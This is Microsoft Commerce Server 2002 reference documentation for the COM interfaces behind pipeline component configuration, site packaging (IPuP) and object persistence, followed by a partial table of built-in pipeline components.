To support third-party components in the Pipeline Editor, components must provide their own user interface code. The IPipelineComponentAdmin interface, in combination with the IPipelineComponentUI and IPipelineComponentSpecifyUI interfaces, provides an alternative to using the ISpecifyPropertyPages interface.

The IPipelineComponentAdmin interface supports the following methods:

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose.

Header: pipecomp.h

Type Library: Microsoft Commerce Pipeline StdRetComp Type Library (stdretcomp.dll)

IDL File: Pipecomp.idl


IPipelineComponentAdmin::GetConfigData Method

This method returns an IDictionary pointer for the user interface to read the configuration data for the component.

Definition

HRESULT GetConfigData(
  IDispatch** ppDict
);

Parameters

ppDict
[out] A pointer to an object from which the user interface can read the configuration data (typically using the IDictionary interface).

Return Values

The method returns an HRESULT value.

Remarks

For more information, see Deciding Which Interface to Expose.

See Also

IPipelineComponentAdmin Interface

IPipelineComponentAdmin::SetConfigData


IPipelineComponentAdmin::SetConfigData Method

This method takes a pointer to an object containing the configuration information for the component. This object must implement the IDictionary interface.

Definition

HRESULT SetConfigData(
  IDispatch* pDict
);

Parameters

pDict
[in] An interface pointer to the object containing the configuration information.

Return Values

The method returns an HRESULT value.

Remarks

For more information, see Deciding Which Interface to Expose.

See Also

IPipelineComponentAdmin Interface

IPipelineComponentAdmin::GetConfigData


IPipelineComponentDescription Interface

The IPipelineComponentDescription interface makes it possible for pipeline components to identify the values that they read from the pipeline context, and the keys and values that they read from or write to the OrderForm object.

Although pipeline components are not required to implement the IPipelineComponentDescription interface, implementing this interface makes it possible for the Pipeline Editor to identify and display the elements that your component reads or writes. This information can help developers who are troubleshooting a pipeline configuration.

The IPipelineComponentDescription interface supports the following methods:

Method | Description
ContextValuesRead | Returns a SAFEARRAY VARIANT that identifies the pipeline context values that the component reads.
ValuesRead | Returns a SAFEARRAY VARIANT that identifies the values that the component reads.
ValuesWritten | Returns a SAFEARRAY VARIANT that identifies the values that the component writes.

The methods defined in the IPipelineComponentDescription interface all take a single parameter: the address of a VARIANT out-value. The VARIANT that the IPipelineComponentDescription methods store in this address must contain a SAFEARRAY of VARIANTs that contain a BSTR variable. These BSTR variables identify the values read from or written to the pipeline context or the OrderForm object. Because the VARIANTs in this SAFEARRAY contain simple BSTR variables, you can conceivably store any kind of string information in these BSTR variables. However, for the sake of aiding developers who are attempting to troubleshoot their pipeline configurations, it is recommended that you initialize these BSTR variables to reference only elements of the PipeContext object or the OrderForm object.

Remarks

For more information about IPipelineComponentDescription interface code generated by the Active Template Library (ATL) and the Pipeline Component Wizard, see Enhancing Component Usability.

Header: pipecomp.h

Type Library: Microsoft Commerce Pipeline StdRetComp Type Library (stdretcomp.dll)

IDL File: Pipecomp.idl


IPipelineComponentDescription::ContextValuesRead Method

This method returns a VARIANT that contains a SAFEARRAY of VARIANTs. Each of the VARIANTs in this SAFEARRAY contains a BSTR that identifies the PipeContext object elements that the component reads.

Definition

HRESULT ContextValuesRead(
  VARIANT* pVar
);

Parameters

pVar
[out, retval] The address to which the method returns a VARIANT. This VARIANT contains a SAFEARRAY of VARIANTs, each of which contains a BSTR that identifies the elements that a component reads from the PipeContext object.

Return Values

If the function implementation does not return S_OK, the Pipeline Editor ignores the contents of the returned VARIANT variable.

Remarks

For more information about IPipelineComponentDescription interface code generated by the Active Template Library (ATL) and the Pipeline Component Wizard, see Enhancing Component Usability.

See Also

IPipelineComponentDescription Interface


IPipelineComponentDescription::ValuesRead Method

This method identifies the keys and values that a component reads from the OrderForm object.

Definition

HRESULT ValuesRead(
  VARIANT* pVar
);

Parameters

pVar
[out, retval] The address to which the method returns a VARIANT. This VARIANT contains a SAFEARRAY of VARIANTs, each of which contains a BSTR that identifies the keys and values that a component reads from the OrderForm object.

Return Values

If the function implementation does not return S_OK, the Pipeline Editor ignores the contents of the returned VARIANT.

Remarks

For more information about IPipelineComponentDescription interface code generated by the Active Template Library (ATL) and the Pipeline Component Wizard, see the Enhancing Component Usability.

See Also

IPipelineComponentDescription Interface

IPipelineComponentDescription::ValuesWritten


IPipelineComponentDescription::ValuesWritten Method

This method identifies the keys and values that a component modifies in the OrderForm object.

Definition

HRESULT ValuesWritten(
  VARIANT* pVar
);

Parameters

pVar
[out, retval] The address to which the method returns a VARIANT. This VARIANT contains a SAFEARRAY of VARIANTs, each of which contains a BSTR that identifies the modified keys and values.

Return Values

If the function implementation does not return S_OK, the Pipeline Editor ignores the contents of the returned VARIANT.

Remarks

For more information about IPipelineComponentDescription interface code generated by the Active Template Library (ATL) and the Pipeline Component Wizard, see Enhancing Component Usability.

See Also

IPipelineComponentDescription Interface

IPipelineComponentDescription::ValuesRead


IPipelineComponentUI Interface

The IPipelineComponentUI interface is implemented to allow a pipeline component to display a dialog box for configuration values. The interface is implemented by a separate Component Object Model (COM) object that displays the dialog box.

The IPipelineComponentUI interface supports the following method:

Method | Description
ShowProperties | Called by the Pipeline Editor to display the dialog box for the component.

Remarks

Header: pipecomp.h

Type Library: Microsoft Commerce 2000 Order Pipeline Type Library (pipeline.dll)

IDL File: Pipecomp.idl


IPipelineComponentUI::ShowProperties Method

This method is called to display the configuration dialog box for a pipeline component.

Definition

HRESULT ShowProperties(
  IDispatch* pdispComponent
);

Parameters

pdispComponent
[in] A pointer to an IPipelineComponentAdmin interface.

Return Values

Returns S_OK if the dialog box was displayed and configuration values set.

Remarks

The object implementing this interface first gets the configuration Dictionary object using the IPipelineComponentAdmin::GetConfigData method. It then uses these values to fill in the dialog box. When the user is finished with the dialog box, the object sets the configuration values using the IPipelineComponentAdmin::SetConfigData method.

See Also

IPipelineComponentUI Interface

ISpecifyPipelineComponentUI Interface


ISpecifyPipelineComponentUI Interface

The ISpecifyPipelineComponentUI interface is used by a pipeline component to specify the Component Object Model (COM) object that implements the IPipelineComponentUI interface that gets and sets configuration values.

The ISpecifyPipelineComponentUI interface supports the following method:

Method | Description
GetPipelineComponentUIProgID | Used by the pipeline component to specify the component that displays the configuration dialog box by implementing the IPipelineComponentUI interface.

Remarks

Header: pipecomp.h

Type Library: Microsoft Commerce 2000 Order Pipeline Type Library (pipeline.dll)

IDL File: Pipecomp.idl


ISpecifyPipelineComponentUI::GetPipelineComponentUIProgID Method

This method is used by the pipeline component to specify the component that displays the configuration dialog box by implementing the IPipelineComponentUI interface.

Definition

HRESULT GetPipelineComponentUIProgID(
  BSTR* pbstrProgID
);

Parameters

pbstrProgID
[out, retval] A pointer to a BSTR string used to return the programmatic identifier (ProgID) of the component that displays the configuration dialog box of the component.

Return Values

Returns S_OK if the ProgID was retrieved.

See Also

ISpecifyPipelineComponentUI Interface

IPipelineComponentUI Interface


ISpecifyPropertyPages Interface

The ISpecifyPropertyPages interface is a standard Win32 OLE interface. You implement this interface to allow the pipeline administration tool to invoke the property page user interface of the component. For more information about the ISpecifyPropertyPages interface, see the OLE Programmer's Reference.

The ISpecifyPropertyPages interface supports the following method:

Method | Description
GetPages | Fills in an array of class identifiers (CLSID) where each CLSID is the CLSID of a property page that can be displayed in the property sheet for this object.

Remarks

For more information about ISpecifyPropertyPages interface code generated by the Active Template Library (ATL) and the Pipeline Component Wizard, see MinMaxShip Sample Pipeline Component.

Header: ocidl.h

IDL File: ocidl.idl


ISpecifyPropertyPages::GetPages Method

This method fills a counted array of universally unique identifier (UUID) values where each UUID specifies the class identifier (CLSID) of a particular property page that can be displayed in the property sheet for this object.

The CAUUID structure is caller-allocated, but is not initialized by the caller. The ISpecifyPropertyPages::GetPages method fills the cElements field in the CAUUID structure. This method also allocates memory for the array pointed to by the pElems field in the CAUUID structure using the CoTaskMemAlloc method. Then, it fills the newly allocated array. After this method returns successfully, the structure contains a counted array of UUIDs, each UUID specifying a property page CLSID.

Definition

HRESULT GetPages(
  CAUUID* pPages
);

Parameters

pPages
[out] A pointer to a caller-allocated CAUUID structure that must be initialized and filled before returning. The pElems field in the CAUUID structure is allocated by the callee with the CoTaskMemAlloc method and freed by the caller with the CoTaskMemFree method.

Return Values

The method returns an HRESULT value.

Remarks

The CAUUID structure is defined as follows:

typedef struct tagCAUUID
{
    ULONG       cElems;
    GUID FAR *  pElems;
} CAUUID;
cElems
The size of the array pointed to by the pElems array.
pElems
A pointer to an array of UUID values, each of which specifies a CLSID of a particular property page. This array is allocated by the callee using the CoTaskMemAlloc method and is freed by the caller using the CoTaskMemFree method.

For more information about ISpecifyPropertyPages interface code generated by the Active Template Library (ATL) and the Pipeline Component Wizard, see MinMaxShip Sample Pipeline Component.

See Also

ISpecifyPropertyPages Interface


Site Packager Interface

Custom resources can be packaged into a file. A package is a specially formatted Commerce Server file. Each package is identified with a .pup extension. A package always contains a single site, which includes resource configuration data and the applications of a Commerce site. It can also include whatever files each resource chooses to package, though no special processing (such as DLL registration) will be performed during unpacking.

Custom resources do not necessarily need to do anything to be included in the packaging process. If the custom resource stores its data in the Commerce Server Administration database, that data will automatically be packaged. For more information about this low development effort approach, see Levels of Intregration for a Custom Resource.

If your custom resource stores its configuration data outside of the Administration database, or if you want other files to be included in the package, you must generally develop a custom Component Object Model (COM) component that participates in the packaging and unpacking process. For example, if your resource depends on data being placed in the Site Configuration Store, the custom COM component you develop will perform that function.

In limited circumstances, the GenericPuP object can be used instead of a newly developed COM component. For more information about using this object, see Using the GenericPuP Object.

If you must develop a custom COM component to participate in the packaging process, it must implement the IPuP interface.

The ProgIDs of custom COM components that implement the IPuP interface must be placed in the appropriate tables within the Administration database in order to be invoked.

The methods of the IPuP interface to be implemented by your custom COM component are shown in the following table.

Method | Description
CreateGroupResource | Called to create the connection between a global resource and the site-level reference to that resource. Called in conjunction with the Import method if the resource is a global resource.
Delete | Called by the Commerce Server Manager to delete custom site resource data from a computer. It also removes the configuration data for this resource from the Administration database. This method should perform whatever is required to properly delete data associated with the corresponding site resource.
DeleteGroupResource | Called to delete custom global resource data from a computer. It also removes the configuration data for this resource from the Administration database. This method should perform whatever is required to properly delete data associated with the corresponding global resource.
Export | Called to allow the custom COM component to place the files to be packaged into a specified location.
Import | Called to allow the custom COM component to retrieve the files that were packaged from a specified location.


IPuP::CreateGroupResource

If your custom resource is a global resource, you must implement this method. Since the packaged site is, by definition, using your global resource, the site must be provided with a site-level object that refers to your global resource. This method must perform the necessary processing.

When the f_ResourceFlags column indicates a global resource (the corresponding bit mask constant is IS_REFTOGROUPRES), this method is called before the Import method is called. This method is not called for site resources.

Site Packager will call this method, indicating the site name and the name of the custom resource, as it is known at the site level. Your implementation must create the global resource, and then return its name. Site Packager can then create the link between the site-level representation of the global resource, and the actual global resource. Then Site Packager will call the Import method to import any data associated with the custom global resource.

Definition

HRESULT CreateGroupResource(
  BSTR szSiteName,
  BSTR szResourceName,
  BSTR szConnStr,
  BSTR szPath,
  BOOL bSilent,
  BSTR* szGroupResourceName
);

Parameters

szSiteName
[in] A BSTR that contains the name of the site being unpacked.
szResourceName
[in] A BSTR that contains the name of the custom resource.
szConnStr
[in] A BSTR that contains the connection string.
szPath
[in] A BSTR that contains the path and name of a file for error logging.
bSilent
[in] A BOOLEAN value used to indicate whether any user interaction is allowed. A value of TRUE suppresses user interaction, allowing for unattended operation.
szGroupResourceName
[out, retval] A pointer to a BSTR to be used to return the name of the corresponding global resource.

Return Values

This method must return an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

This method must return S_OK (0x00000000) to indicate success and a COM HRESULT error value to indicate failure. For more information about the standard COM error values that can be used, see Standard COM Errors. Additional information may be made available using the global Err object, which can be accessed by the caller using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface can be called to retrieve a text description of the error, which you can supply.

Remarks

If this method is designed to allow user interaction, the user interface used to accomplish this interaction must be capable of being suppressed. The bSilent parameter is used to indicate whether such suppression should occur. If the bSilent parameter is set to TRUE the user interface must be suppressed. If the bSilent parameter is set to FALSE, it is permissible to display the user interface and seek user interaction. This aspect of the method invocation allows for unattended operation.

The connection string includes the Data Source Name (DSN), the database login ID, and the database password for the database used by this resource. Any custom database tables must be created by the implementation of this method. Since the resource may be sharing the database with other resources, unique table names should be chosen.

See Also

Site Packager Interface

IPuP::Import


IPuP::Delete

If your custom resource is a site resource, and you want to perform custom clean up of resource data, you must implement this method.

Commerce Server Manager calls this method when it is removing a site resource from a computer. This provides an opportunity for clean up that is specific to this custom resource to be performed. After this method returns, Commerce Server Manager will continue by removing references to the custom resource, and any corresponding configuration data, from the Administration database.

Definition

HRESULT Delete(
  BSTR szSiteName,
  BSTR szResourceName,
  BOOL bKeepData,
  BOOL bSilent
);

Parameters

szSiteName
[in] A BSTR that contains the name of the site.
szResourceName
[in] A BSTR that contains the name of the custom resource.
bKeepData
[in] A BOOLEAN value used to indicate whether site resource data should be deleted or not. A value of TRUE indicates that the data should be retained, and a value of FALSE indicates that the data should be deleted.
bSilent
[in] A BOOLEAN value used to indicate whether any user interaction is allowed. A value of TRUE suppresses user interaction, allowing for unattended operation.

Return Values

This method must return an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

This method must return S_OK (0x00000000) to indicate success and a COM HRESULT error value to indicate failure. For more information about the standard COM error values that can be used, see Standard COM Errors. Additional information may be made available using the global Err object, which can be accessed by the caller using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface can be called to retrieve a text description of the error, which you can supply.

Remarks

If this method is designed to allow user interaction, the user interface used to accomplish this interaction must be capable of being suppressed. The bSilent parameter is used to indicate whether such suppression should occur. If the bSilent parameter is set to TRUE the user interface must be suppressed. If the bSilent parameter is set to FALSE, it is permissible to display the user interface and seek user interaction. This aspect of the method invocation allows for unattended operation.

The system administrator should be able to indicate whether resource data should be retained or deleted through the user interface. The bKeepData parameter is set to TRUE or FALSE, in accordance with user input.

This method could be called from a custom script to clean up the data associated with a custom site resource.

See Also

Site Packager Interface

IPuP::DeleteGroupResource


IPuP::DeleteGroupResource

If your custom resource is a global resource, and you want to perform custom clean up of resource data, you must implement this method.

Commerce Server Manager calls this method when it is removing a global resource from a computer. This provides an opportunity for clean up that is specific to this custom resource to be performed. After this method returns, Commerce Server Manager will continue by removing references to the custom resource, and any corresponding configuration data, from the Administration database.

Definition

HRESULT DeleteGroupResource(
  BSTR szSiteName,
  BSTR szResourceName,
  BOOL bKeepData,
  BOOL bSilent
);

Parameters

szSiteName
[in] A BSTR that contains the name of the site.
szResourceName
[in] A BSTR that contains the name of the custom resource.
bKeepData
[in] A BOOLEAN value used to indicate whether site resource data should be deleted or not. A value of TRUE indicates that the data should be retained, and a value of FALSE indicates that the data should be deleted.
bSilent
[in] A BOOLEAN value used to indicate whether any user interaction is allowed. A value of TRUE suppresses user interaction, allowing for unattended operation.

Return Values

This method must return an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

This method must return S_OK (0x00000000) to indicate success and a COM HRESULT error value to indicate failure. For more information about the standard COM error values that can be used, see Standard COM Errors. Additional information may be made available using the global Err object, which can be accessed by the caller using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface can be called to retrieve a text description of the error, which you can supply.

Remarks

If this method is designed to allow user interaction, the user interface used to accomplish this interaction must be capable of being suppressed. The bSilent parameter is used to indicate whether such suppression should occur. If the bSilent parameter is set to TRUE the user interface must be suppressed. If the bSilent parameter is set to FALSE, it is permissible to display the user interface and seek user interaction. This aspect of the method invocation allows for unattended operation.

The system administrator should be able to indicate whether resource data should be retained or deleted through the user interface. The bKeepData parameter is set to TRUE or FALSE, in accordance with user input.

This method could be called from a custom script to clean up the data associated with a custom global resource.

See Also

Site Packager Interface

IPuP::Delete


IPuP::Export

This method is call when Site Packager creates a Commerce Server Site Package. In order for your custom resource to place one or more files of its choice into this package, you must implement this method.

Definition

HRESULT Export(
  BSTR szSiteName,
  BSTR szResourceName,
  BSTR szPath,
  BOOL bExportData,
  BOOL bSilent
);

Parameters

szSiteName
[in] A BSTR that contains the name of the site.
szResourceName
[in] A BSTR that contains the name of the custom resource.
szPath
[in] A BSTR that contains the path where the custom resource is expected to place one or more files of its choice. For more information, see the Remarks section.
bExportData
[in] Reserved for future use.
bSilent
[in] A BOOLEAN value used to indicate whether any user interaction is allowed. A value of TRUE suppresses user interaction, allowing for unattended operation.

Return Values

This method must return an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

This method must return S_OK (0x00000000) to indicate success and a COM HRESULT error value to indicate failure. For more information about the standard COM error values that can be used, see Standard COM Errors. Additional information may be made available using the global Err object, which can be accessed by the caller using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface can be called to retrieve a text description of the error, which you can supply.

Remarks

Site Packager calls this method, specifying either a file name or a folder name, based on the value of f_PupFlags column in the Resource table of the Administration database. This bit field column currently has only one bit defined for use: bit 1. If bit 1 is set to zero (0), the szPath parameter specifies a temporary file name, and if bit 1 is set to one (1), the szPath parameter specifies a temporary folder name.

If a file name is specified, this method is expected to place the data to be packaged into a single file, named as specified by the szPath parameter. After this method returns, Site Packager will add that file to the package and then delete it.

If a folder name is specified, this method is expected to place the data to be packaged into one or more files, located within the folder specified by the szPath parameter. After this method returns, Site Packager will add those files to the package and then delete them.

If this method is designed to allow user interaction, the user interface used to accomplish this interaction must be capable of being suppressed. The bSilent parameter is used to indicate whether such suppression should occur. If the bSilent parameter is set to TRUE the user interface must be suppressed. If the bSilent parameter is set to FALSE, it is permissible to display the user interface and seek user interaction. This aspect of the method invocation allows for unattended operation.

See Also

Site Packager Interface

IPuP::Import


IPuP::Import

This method is call when Site Packager unpacks a Commerce Server Site Package. In order for your custom resource to make use of one or more files from this package, you must implement this method.

Definition

HRESULT Import(
  BSTR szSiteName,
  BSTR szResourceName,
  BSTR szPath,
  BOOL bSilent
);

Parameters

szSiteName
[in] A BSTR that contains the name of the site.
szResourceName
[in] A BSTR that contains the name of the custom resource.
szPath
[in] A BSTR that contains the path where the Site Packager has deposited one or more files packaged for this resource. For more information, see the Remarks section.
bSilent
[in] A BOOLEAN value used to indicate whether any user interaction is allowed. A value of TRUE suppresses user interaction, allowing for unattended operation.

Return Values

This method must return an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

This method must return S_OK (0x00000000) to indicate success and a COM HRESULT error value to indicate failure. For more information about the standard COM error values that can be used, see Standard COM Errors. Additional information may be made available using the global Err object, which can be accessed by the caller using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface can be called to retrieve a text description of the error, which you can supply.

Remarks

Site Packager calls this method, specifying either a file name or a folder name, based on the value of f_PupFlags column in the Resource table of the Administration database. This bit field column currently has only one bit defined for use: bit 1. If bit 1 is set to zero (0), the szPath parameter specifies a temporary file name, and if bit 1 is set to one (1), the szPath parameter specifies a temporary folder name.

If a file name is specified, this method is expected to retrieve the packaged data from a single file, named as specified by the szPath parameter. Before this method returns, the data must be retrieved from that file, or the file moved to some other location known only to the custom resource. After this method returns, Site Packager will delete the temporary file.

If a folder name is specified, this method is expected to retrieve the packaged data from one or more files, located within the folder specified by the szPath parameter. Before this method returns, the data must be retrieved from these files, or the files moved to some other location known only to the custom resource. After this method returns, Site Packager will delete the temporary files.

If this method is designed to allow user interaction, the user interface used to accomplish this interaction must be capable of being suppressed. The bSilent parameter is used to indicate whether such suppression should occur. If the bSilent parameter is set to TRUE the user interface must be suppressed. If the bSilent parameter is set to FALSE, it is permissible to display the user interface and seek user interaction. This aspect of the method invocation allows for unattended operation.

See Also

Site Packager Interface

IPuP::Export

IPuP::CreateGroupResource


Generic Persistence Interfaces

Microsoft Commerce Server 2002 defines a set of generic Component Object Model (COM) interfaces related to object persistence.

The following table lists the generic interfaces.

Interface | Description
IPersistXML | Saves data to an XML-formatted string, and loads data from an XML-formatted string.
IPersistDictionary | Saves data to a Dictionary object, and loads data from a Dictionary object.
IPersistStreamInit | Saves data to a stream, and loads data from a stream. This is the form of persistence used in the ATL Pipeline Wizard.


IPersistXML Interface

The IPersistXML interface is implemented by an object that needs to read or write its data as XML-formatted text. For example, in the context of the Order Processing pipeline (OPP), it is used to map the contents of a business data object to its Extensible Markup Language (XML) equivalent.

The Dictionary object also implements this interface, allowing the entries in a Dictionary object to be converted into an XML-formatted string, and back again.

The IPersistXML interface supports the following methods:

Method | Description
LoadXML | Loads data from a string that contains the data in its XML representation.
SaveXML | Saves data in its XML representation, writing the result to a string.

Remarks

Header: commerce.h

IDL File: commerce.idl


IPersistXML::LoadXML Method

This method should load XML-formatted data from a BSTR.

Definition

HRESULT LoadXML(
  long Reserved,
  BSTR bstrXML
);

Parameters

Reserved
[in] Reserved for future use.
bstrXML
[in] A BSTR that contains object data in the XML representation expected by the object.

Return Values

This method must return the HRESULT value S_OK to indicate success, and should generally return one of the standard COM error values to indicate failure.

See Also

IPersistXML Interface

IPersistXML::SaveXML


IPersistXML::SaveXML Method

This method should save data in an XML-formatted BSTR.

Definition

HRESULT SaveXML(
  long Reserved,
  BSTR* bstrXML
);

Parameters

Reserved
[in] Reserved for future use.
bstrXML
[out, retval] The address of a BSTR used to return object data in its XML representation.

Return Values

This method must return the HRESULT value S_OK to indicate success, and should generally return one of the standard COM error values to indicate failure.

See Also

IPersistXML Interface

IPersistXML::LoadXML


IPersistDictionary Interface

The IPersistDictionary interface is implemented by an object that needs to read or write its data as a Dictionary object.

The IPersistDictionary interface supports the following methods:

Method | Description
GetProgID | Returns the ProgID of the object.
InitNew | Allows the object to initialize values before saved values are loaded.
IsDirty | Indicates whether the values to be saved have changed since the last save.
Load | Loads saved data from a Dictionary object.
Save | Saves data to a Dictionary object.

Remarks

Header: commerce.h

IDL File: commerce.idl


IPersistDictionary::GetProgID Method

This method should return the ProgID of the object.

Definition

HRESULT GetProgID(
  BSTR* pbstrProgID
);

Parameters

pbstrProgID
[out, retval] The address of a BSTR used to return the ProgID of the object.

Return Values

This method must return the HRESULT value S_OK to indicate success, and should generally return one of the standard COM error values to indicate failure.

See Also

IPersistDictionary Interface


IPersistDictionary::InitNew

This method provides an opportunity for an object to initialize its state before any persisted values are loaded. You can initialize the IsDirty flag of the component within this method.

Definition

HRESULT InitNew(void);

Parameters

None.

Return Values

This method must return the HRESULT value S_OK to indicate success, and should generally return one of the standard COM error values to indicate failure.

See Also

IPersistDictionary Interface


IPersistDictionary::IsDirty Method

This method should report whether the values of an object have changed since they were last saved. It returns the value of the IsDirty flag of the object. The flag should be cleared by the object in its implementation of the IPersistDictionary::Save method.

Definition

HRESULT IsDirty(
  long* pfDirty
);

Parameters

pfDirty
[out, retval] A pointer to a long used to return the value of the IsDirty flag.

Return Values

This method must return the HRESULT value S_OK to indicate success, and should generally return one of the standard COM error values to indicate failure.

See Also

IPersistDictionary Interface


IPersistDictionary::Load Method

This method should load data from a Dictionary object.

Definition

HRESULT Load(
  IDispatch* pdispDict
);

Parameters

pdispDict
[in] A pointer to the IDictionary interface of the Dictionary object from which the data should be loaded.

Return Values

This method must return the HRESULT value S_OK to indicate success, and should generally return one of the standard COM error values to indicate failure.

Remarks

The object typically uses the get_Value method on the IDictionary interface to retrieve VARIANT values. For more information about the IDictionary interface, see Dictionary Object.

See Also

IPersistDictionary Interface

IPersistDictionary::Save


IPersistDictionary::Save Method

This method should save data to a Dictionary object.

Definition

HRESULT Save(
  IDispatch* pdispDict,
  long fSameAsLoad
);

Parameters

pdispDict
[in] A pointer to the IDictionary interface of the Dictionary object in which the data should be saved.
fSameAsLoad
[in] A long that is set to TRUE if the Dictionary object pointed to by the pdispDict parameter is the same as the one from which the persisted values of the component were loaded.

Return Values

This method must return the HRESULT value S_OK to indicate success, and should generally return one of the standard COM error values to indicate failure.

Remarks

The object typically uses the put_Value method on the IDictionary interface to save VARIANT values. For more information about the IDictionary interface, see Dictionary Object.

See Also

IPersistDictionary Interface

IPersistDictionary::Load


IPersistStreamInit Interface

The IPersistStreamInit interface is a standard Win32 OLE interface. This interface is typically implemented on any object that needs to support initialized stream-based persistence, regardless of whatever else the object does.

In the context of the Order Processing pipeline (OPP), it is used to load or save the component configuration in the pipeline configuration file (the pipeline calls this interface as appropriate). For more information about the IPersistStreamInit interface, see the OLE Programmer's Reference. Variables of type CComVariant can save and read their values from a stream and can be used to hold the values of a component that need to be saved.

The IPersistStreamInit interface supports the following methods:

Method | Description
GetClassID | Returns the class identifier (CLSID) of the object.
GetSizeMax | Returns the size needed to save the persisted values.
InitNew | Allows the object to initialize values before saved values are loaded.
IsDirty | Indicates whether the data to be saved has changed since the last save.
Load | Loads data from a stream.
Save | Saves data to a stream.

Header: ocidl.h

IDL File: ocidl.idl


IPersistStreamInit::GetClassID Method

This method should return the class identifier (CLSID) of the object.

Definition

HRESULT GetClassID(
  CLSID* pClassID
);

Parameters

pClassID
[out] The address of a CLSID variable used to return the class identifier of the object.

Returns

This method must return the HRESULT value S_OK to indicate success, and should generally return one of the standard COM error values to indicate failure.

Remarks

The GetClassID method is a method of the IPersist interface from which the IPersistStreamInit interface inherits.

See Also

IPersistStreamInit Interface


IPersistStreamInit::GetSizeMax Method

This method should return the maximum size, in bytes, required in the stream to save the data to be persisted.

Definition

HRESULT GetSizeMax(
  ULARGE_INTEGER* pCbSize
);

Parameters

pCbSize
[out] The address of a ULARGE_INTEGER used to return the number of bytes the object needs in the stream to save values.

Return Values

This method must return the HRESULT value S_OK to indicate success, and should generally return one of the standard COM error values to indicate failure.

See Also

IPersistStreamInit Interface


IPersistStreamInit::InitNew Method

This method provides an opportunity for the object to initialize its state before any persisted values are loaded. You should initialize the IsDirty flag of the object within this method.

Definition

HRESULT InitNew(void);

Parameters

None.

Return Values

This method must return the HRESULT value S_OK to indicate success, and should generally return one of the standard COM error values to indicate failure.

See Also

IPersistStreamInit Interface


IPersistStreamInit::IsDirty Method

This method should report whether the values of an object have changed since they were last saved. It returns the value of the IsDirty flag of the object. The flag should be cleared by the object in its implementation of the IPersistStreamInit::Save method.

Definition

HRESULT IsDirty(void);

Parameters

None.

Return Values

This method must return the HRESULT value S_OK to indicate that the data has changed, and must return a value of S_FALSE to indicate that the data has not changed since the last Save operation.

See Also

IPersistStreamInit Interface


IPersistStreamInit::Load Method

This method should load object data from the specified stream.

Definition

HRESULT Load(
  LPSTREAM pStm
);

Parameters

pStm
[in] A pointer to the stream from which to load the object data.

Return Values

This method must return the HRESULT value S_OK to indicate success, and should generally return one of the standard COM error values to indicate failure.

Remarks

The seek pointer is set as it was in the most recent IPersistStreamInit::Save method. This method can seek and read from the stream, but cannot write to it.

On exit, the seek pointer must be in the same position it was in on entry, immediately past the end of the data.

See Also

IPersistStreamInit Interface

IPersistStreamInit::Save


IPersistStreamInit::Save Method

This method should save object data to the specified stream.

Definition

HRESULT Save(
  LPSTREAM pStm,
  BOOL fClearDirty
);

Parameters

pStm
[in] A pointer to a stream in which to save the object data.
fClearDirty
[in] A BOOL value indicating whether or not to clear the IsDirty flag. If TRUE, the flag should be cleared. If FALSE, the flag should be left unchanged.

Return Values

This method must return the HRESULT value S_OK to indicate success, and should generally return one of the standard COM error values to indicate failure.

Remarks

The seek pointer is positioned at the location in the stream at which the object should begin writing its data. The object calls the IStream::Write method to write its data.

On exit, the seek pointer must be positioned immediately past the object data. The position of the seek pointer is undefined if an error returns.

See Also

IPersistStreamInit Interface

IPersistStreamInit::Load


Pipeline Component Reference

This section contains the reference material for the following pipeline components supplied with Commerce Server.

Pipeline Component Name | Description
AddAttachments | Adds attachments to a direct mail message.
AdvertisingNeedOfDelivery | Ensures advertisements are selected often enough to meet business commitments.
ComposeDMLMessage | Creates the body of a direct mail message.
CreateUPMCookie | Collects cookie data to pass to an Active Server Pages (ASP) page creating a personalized direct mail message.
CSFLoadAdvertisements | Loads advertising data for the Content Selection Framework through the CacheManager object.
CSFLoadDiscounts | Loads discount data for the Content Selection Framework through the CacheManager object.
CSFWriteEvents | Used with the CacheManager object to log Content Selection Framework events.
DBOrderPromoADO | Retrieves data about price promotions from the database and adjusts item prices accordingly.
DefaultHandlingCy, DefaultHandling | Used as placeholder handling components. They initialize the total handling for the order to zero (0).
DefaultItemPriceCy, DefaultItemPrice | Set the regular price of an item to the list price returned by pipeline components such as QueryCatalogInfo or QueryProdInfoADO.
DefaultOrderSubTotalCy, DefaultOrderSubTotal | Calculates the subtotal for the order.
DefaultPayment | Assigns a default value to the payment authorization code. This component is usually replaced by a third-party payment component.
DefaultShippingCy, DefaultShipping | Placeholder shipping components. They set the shipping cost to zero (0).
DefaultShopperInfo | Moves information from the Shopper dictionary in the Context dictionary of the pipeline to the OrderForm object.
DefaultTaxCy, DefaultTax | Set the tax fields of the order to zero (0). These components are usually replaced by third-party tax components.
DefaultTotalCy, DefaultTotal | Calculates the order total from the subtotals.
EvalTargetGroups | Used to target particular groups for advertising, content selection, and discounts. This component evaluates a list of expressions for each item in a list and adjusts item selection scores.
ExecuteProcess | Runs an external executable file.
FilterContent | Applies provided filters to a content list in a Content Selection pipeline (CSP).
FixedHandling | Adds a fixed handling charge to the order.
FixedShipping | Applies a fixed shipping charge to the order.
FlagInventory | Determines whether any items on the order form are out of stock.
FormatTemplate | Merges data from selected items and their associated templates to form formatted strings. These are usually Hypertext Markup Language (HTML) strings ready for display on the page.
HistoryPenalty | Applies penalties to content items based on how recently they have been selected.
IISAppendToLog | Records information about content selection results in the QueryString field of the Internet Information Services (IIS) log file.
InitCSFPipeline | Used at the beginning of a Content Selection pipeline (CSP) to initialize the values needed in the rest of the pipeline.
ItemPromo | Applies a promotional price adjustment to an item on the order form.
LinearHandling | Sets the handling total on the order by multiplying a field on the order form by a fixed rate.
LinearShipping | Calculates the shipping total on the order form using a fixed rate.
LoadHistory | Retrieves a history string from a user profile, an item in the ASP session collection, or a cookie.
LocalInventory | Sets the number of items backordered on the order form.
MakePO | Produces a formatted purchase order (PO) text string by merging information from the order form with a purchase order template.
